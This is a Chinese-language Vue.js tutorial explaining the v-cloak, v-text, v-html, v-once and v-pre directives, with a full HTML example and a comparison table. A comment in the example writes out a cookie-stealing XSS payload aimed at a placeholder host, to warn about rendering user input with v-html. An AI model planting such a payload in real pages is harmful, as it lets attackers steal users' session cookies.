完整示例代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=, initial-scale=1.0">
<title>Document</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!--
v-closk:Vue实例创建完毕接管容器时会删掉v-cloak属性。该属性配合css代码可以解决如{{XX}}渲染不及时的情况
<style>
[v-cloak]{
display:none
}
</style>
-->
<div id="root" v-cloak>
<!-- 拿到name的值替换标签中间的内容,当作文本解析 -->
<h2 v-text="name"></h2>
<!--
拿到name的值替换标签中间的内容,当作html解析。存在安全性问题。
例如贴吧开发人员使用v-html渲染评论信息。不法分子提交评论:
<a href=javascript:location.href='www.XSS.com?+document.cookie'>来!</a>,
-->
<h2 v-html="name"></h2>
<!-- v-once:初次动态渲染后被视为静态内容。即只渲染一次 -->
<h2 v-once>初始化n值:{{n}}</h2>
<h2>n值:{{n}}</h2>
<input type="button" @click="n++" value="n++"/>
<!-- v-pre:若没有使用指令语法、插值语法等。可使用该指令跳过vue解析过程 -->
<h2 v-pre>
n值:{{n}}
</h2>
</div>
</body>
<script>
const vm = new Vue({
el:'#root',
data() {
return {
name:'<font color = "red">张三</font>',
n:1
}
}
})
</script>
</html>指令详解与对比
1. v-cloak：解决插值表达式闪烁问题
作用：在 Vue 实例未完成初始化时，隐藏带有插值表达式的元素，避免页面短暂显示{{ }}符号。
使用方法：
- 在需要处理的元素上添加
v-cloak属性 - 配合 CSS 隐藏该属性：
[v-cloak] { display: none; }
工作原理：
- Vue 实例初始化完成并接管容器后，会自动移除
v-cloak属性 - 未初始化时，元素因
[v-cloak]样式被隐藏，初始化后显示正常内容
适用场景：
- 页面加载较慢时，防止插值表达式
{{ }}被用户短暂看到 - 尤其适合网络环境较差或页面结构复杂的场景
2. v-text：文本渲染指令
作用：将数据以纯文本形式插入到元素中，替换元素的全部内容。
特点：
- 与插值表达式
{{ }}功能类似，但会覆盖元素内的原有内容 - 不会解析 HTML 标签，只会当作普通文本处理
- 渲染速度比插值表达式稍快（因为解析过程更简单）
适用场景：
- 需要完全替换元素内容且不需要解析 HTML 的场景
- 对渲染性能有轻微要求的简单文本展示
3. v-html：HTML 渲染指令
作用：将数据作为 HTML 字符串解析并插入到元素中，替换元素的全部内容。
特点：
- 会解析数据中的 HTML 标签并渲染
- 同样会覆盖元素内的原有内容
- 存在安全风险，可能导致 XSS 攻击
适用场景：
- 渲染可信的 HTML 内容（如后端返回的安全 HTML 片段）
- 需要动态生成包含标签的内容时使用
4. v-once：静态内容指令
作用：使元素或组件只渲染一次，后续数据变化不会导致重新渲染。
特点：
- 首次渲染后，元素会被视为静态内容
- 即使依赖的数据发生变化，也不会更新
- 可以提高性能（减少不必要的重新渲染）
适用场景：
- 展示固定不变的静态内容
- 数据一旦初始化就不会再变化的场景
- 优化性能，减少不必要的渲染
5. v-pre：跳过编译指令
作用：跳过 Vue 对元素及其子元素的编译过程，直接显示原始内容。
特点：
- 元素内的插值表达式
{{ }}不会被解析 - 元素内的 Vue 指令也不会被执行
- 可以提高编译性能（跳过不需要编译的内容）
适用场景：
- 展示包含
{{ }}符号的内容（如 Vue 代码示例） - 页面中存在大量不需要 Vue 处理的静态内容
- 优化大型页面的编译速度
指令对比总结
| 指令 | 核心功能 | 特点 | 主要用途 | 注意事项 |
|---|---|---|---|---|
| v-cloak | 隐藏未编译内容 | 初始化后自动移除 | 解决插值闪烁 | 需要配合 CSS 使用 |
| v-text | 文本渲染 | 覆盖内容，不解析 HTML | 简单文本展示 | 性能略优于插值表达式 |
| v-html | HTML 渲染 | 覆盖内容，解析 HTML | 渲染可信 HTML | 禁止用于用户输入内容 |
| v-once | 静态渲染 | 只渲染一次 | 展示不变内容 | 可优化性能 |
| v-pre | 跳过编译 | 不解析指令和插值 | 展示原始代码 | 提高编译效率 |